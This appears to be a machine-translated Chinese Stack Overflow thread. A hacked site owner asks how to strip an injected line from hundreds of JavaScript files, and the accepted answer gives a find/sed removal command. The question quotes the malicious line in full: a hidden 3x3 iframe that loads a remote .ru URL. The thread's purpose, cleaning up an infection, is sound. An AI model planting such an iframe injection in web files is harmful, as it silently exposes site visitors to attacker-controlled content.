2012-11-11 126 views
1

我被黑客攻击,并有数以百计的.js文件与这行代码,我试图摆脱:使用SED删除字符串

;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); 

这是文件的最后一行,但我认为,该文件包含Windows行的结局,因为当过我这样做:

sed -i '/sitecorporatemanagement.ru/d' * 

它删除文件的全部内容。你能帮我解决这个问题吗?我只需要将完整的字符串删除。

谢谢你给予的所有帮助。

+0

你可以经常用'dos2unix'命令切换换行符。 – jahroy

+0

难道你不能从源代码控制回到你的网站,并从原始代码重建它? –

+3

您可以用'sed -i'$ d'$ file'删除文件的最后一行。 Windows风格的换行符不应该导致问题;线路末端有一个LF。 –

回答

1

我最终删除了以下的有问题的代码,它工作。

find public_html/ -type f -name "*.js" -exec sed -i 's|;document.write(\x27<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>\x27);||g' {} \; 
+0

务必在x后接受你自己的答案?小时。祝你好运。 – shellter